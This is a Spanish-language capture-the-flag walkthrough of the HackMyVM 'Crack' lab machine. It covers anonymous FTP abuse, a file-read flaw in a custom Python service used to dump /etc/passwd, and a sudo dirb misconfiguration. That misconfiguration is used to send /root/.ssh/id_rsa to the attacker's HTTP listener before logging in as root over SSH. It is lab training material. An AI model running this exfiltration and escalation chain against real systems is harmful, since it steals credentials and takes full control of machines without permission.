HackMyVM - Crack

logo

  • FTP Misconfiguration
  • Shell In A Box
  • Abusing Dirb Binary

Escaneo de puetos

❯ nmap -p- -v -T5 -n 192.168.1.15

PORT      STATE SERVICE
21/tcp    open  ftp
4200/tcp  open  vrml-multi-use
12359/tcp open  unknown

Escaneo de servicios

❯ nmap -sVC -v -p 21,4200,12359 192.168.1.15

PORT      STATE SERVICE  VERSION
21/tcp    open  ftp      vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx    2 0        0            4096 Jun 07 14:40 upload [NSE: writeable]
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.1.18
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
4200/tcp  open  ssl/http ShellInABox
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-favicon: Unknown favicon MD5: 2AB43FA7D288987C3DBE15F0C53EE407
|_ssl-date: TLS randomness does not represent time
|_http-title: Shell In A Box
| ssl-cert: Subject: commonName=crack
| Issuer: commonName=crack
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-06-07T10:20:13
| Not valid after:  2043-06-02T10:20:13
| MD5:   c63be8884cb9a338dbc54f7bd5152d14
|_SHA-1: 208249e1a5cd889a4df210ed6370ac43cc040ffc
12359/tcp open  unknown
| fingerprint-strings: 
|   GenericLines: 
|     File to read:NOFile to read:
|   NULL: 
|_    File to read:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port12359-TCP:V=7.93%I=7%D=6/8%Time=64817F93%P=x86_64-pc-linux-gnu%r(NU
SF:LL,D,"File\x20to\x20read:")%r(GenericLines,1C,"File\x20to\x20read:NOFil
SF:e\x20to\x20read:");
Service Info: OS: Unix

Me conecto al servidor ftp, entro en la carpeta upload y me descargo el archivo crack.py.

❯ ftp 192.168.1.15
Connected to 192.168.1.15.
220 (vsFTPd 3.0.3)
Name (192.168.1.15:noname): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||24707|)
150 Here comes the directory listing.
drwxr-xr-x    3 0        114          4096 Jun 07 12:22 .
drwxr-xr-x    3 0        114          4096 Jun 07 12:22 ..
drwxrwxrwx    2 0        0            4096 Jun 07 14:40 upload
226 Directory send OK.
ftp> cd upload
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||57648|)
150 Here comes the directory listing.
-rwxr-xr-x    1 1000     1000          849 Jun 07 14:40 crack.py
226 Directory send OK.
ftp> get crack.py
local: crack.py remote: crack.py
229 Entering Extended Passive Mode (|||46580|)
150 Opening BINARY mode data connection for crack.py (849 bytes).
100% |********************************************************************************************************************************************************************|   849      577.36 KiB/s    00:00 ETA
226 Transfer complete.
849 bytes received in 00:00 (326.54 KiB/s)

Archivo crack.py.

El servidor espera un nombre de un archivo, si este archivo existe tanto en la ubicación del servidor como en la ubicación especificada por el cliente, el servidor mostrará el archivo, de lo contrario mostrará el mensaje NO.

import os
import socket
s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
port = 12359
s.bind(('', port))
s.listen(50)

c, addr = s.accept()
no = "NO"
while True:
        try:
                c.send('File to read:'.encode())
                data = c.recv(1024)
                file = (str(data, 'utf-8').strip())
                filename = os.path.basename(file)
                check = "/srv/ftp/upload/"+filename
                if os.path.isfile(check) and os.path.isfile(file):
                        f = open(file,"r")
                        lines = f.readlines()
                        lines = str(lines)
                        lines = lines.encode()
                        c.send(lines)
                else:
                        c.send(no.encode())
        except ConnectionResetError:
                pass

Si voy al puerto 4200 me encuentro con un login.

ShellInABox

Me conecto por netcat al puerto 12359 escribo /etc/passwd pero no puede mostrar el fichero passwd porque no tengo ningún archivo passwd en la carpeta upload.

❯ nc 192.168.1.15 12359
File to read:/etc/passwd NO

Creo un archivo passwd en blanco y lo subo a la carpeta upload, vuelvo a conectarme por netcat y ahora si muestra el archivo passwd porque existe el archivo en la carpeta upload del servidor FTP.

❯ nc 192.168.1.15 12359
File to read:/etc/passwd
'root:x:0:0:root:/root:/bin/bash\n', 
'daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n', 
'bin:x:2:2:bin:/bin:/usr/sbin/nologin\n', 
'sys:x:3:3:sys:/dev:/usr/sbin/nologin\n', 
'sync:x:4:65534:sync:/bin:/bin/sync\n', 
'games:x:5:60:games:/usr/games:/usr/sbin/nologin\n', 
'man:x:6:12:man:/var/cache/man:/usr/sbin/nologin\n', 
'lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\n', 
'mail:x:8:8:mail:/var/mail:/usr/sbin/nologin\n', 
'news:x:9:9:news:/var/spool/news:/usr/sbin/nologin\n', 
'uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\n', 
'proxy:x:13:13:proxy:/bin:/usr/sbin/nologin\n', 
'www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\n', 
'backup:x:34:34:backup:/var/backups:/usr/sbin/nologin\n', 
'list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\n', 
'irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\n', 
'gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\n', 
'nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n', 
'_apt:x:100:65534::/nonexistent:/usr/sbin/nologin\n', 
'systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin\n', 
'systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin\n', 
'messagebus:x:103:109::/nonexistent:/usr/sbin/nologin\n', 
'systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin\n', 
'sshd:x:105:65534::/run/sshd:/usr/sbin/nologin\n', 
'cris:x:1000:1000:cris,,,:/home/cris:/bin/bash\n', 
'systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin\n', 
'shellinabox:x:106:112:Shell In A Box,,,:/var/lib/shellinabox:/usr/sbin/nologin\n', 
'ftp:x:107:114:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin\n' File to read:

Tengo el usuario cris pero no tengo la contraseña, así que probando contraseñas consigo conectarme al sistema. La contraseña es c**s.

loguedcris

Enumero permisos de sudo.

cris@crack:~$ sudo -l

Matching Defaults entries for cris on crack:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User cris may run the following commands on crack:
    (ALL) NOPASSWD: /usr/bin/dirb

Verifico los puertos del sistema y me encuentro con el puerto 22 está abierto de forma local.

cris@crack:~$ ss -ltun                                                                    

Netid   State    Recv-Q   Send-Q     Local Address:Port      Peer Address:Port  Process   

udp     UNCONN   0        0                0.0.0.0:68             0.0.0.0:*               
tcp     LISTEN   0        50               0.0.0.0:12359          0.0.0.0:*               
tcp     LISTEN   0        128              0.0.0.0:4200           0.0.0.0:*               
tcp     LISTEN   0        128            127.0.0.1:22             0.0.0.0:*               
tcp     LISTEN   0        32                     *:21                   *:*

Al tener el puerto 22 abierto buscaré la llave id_rsa con dirb y en la dirección ip pongo la dirección de mi máquina. Si al copiar y pegar el siguiente comando te da error escríbelo a mano.

cris@crack:~$ sudo dirb http://192.168.1.18/ /usr/share/dirb/wordlists/common.txt,/root/.ssh/id_rsa

La coma que se coloca entre common.txt y /root/.ssh/id_rsa actúa como un separador que indica al programa dirb que estos dos elementos son argumentos independientes y deben ser procesados de manera distinta.

Dejo a la escucha un servidor http en el puerto 80 de mi máquina para ver las peticiones de dirb y así leer el archivo id_rsa.

> python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Cuando termina el escaneo obtengo la llave rsa en un formato un tanto especial.

rsa

Una vez termino de reconstruir la llave rsa quedaría de la siguiente forma:

llave_rsa

Importante, si te sale este error: Load key “id_rsa”: invalid format es porque la llave tiene algún espacio en algún lado o simplemente habrás borrado alguna letra o número sin querer.

Obtengo el root de la siguiente manera.

cris@crack:~$ chmod 600 id_rsa
cris@crack:~$ ssh -i id_rsa root@localhost

Linux crack 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

root@crack:~# id
uid=0(root) gid=0(root) grupos=0(root)

Y aquí termina la máquina Crack.

Saludos!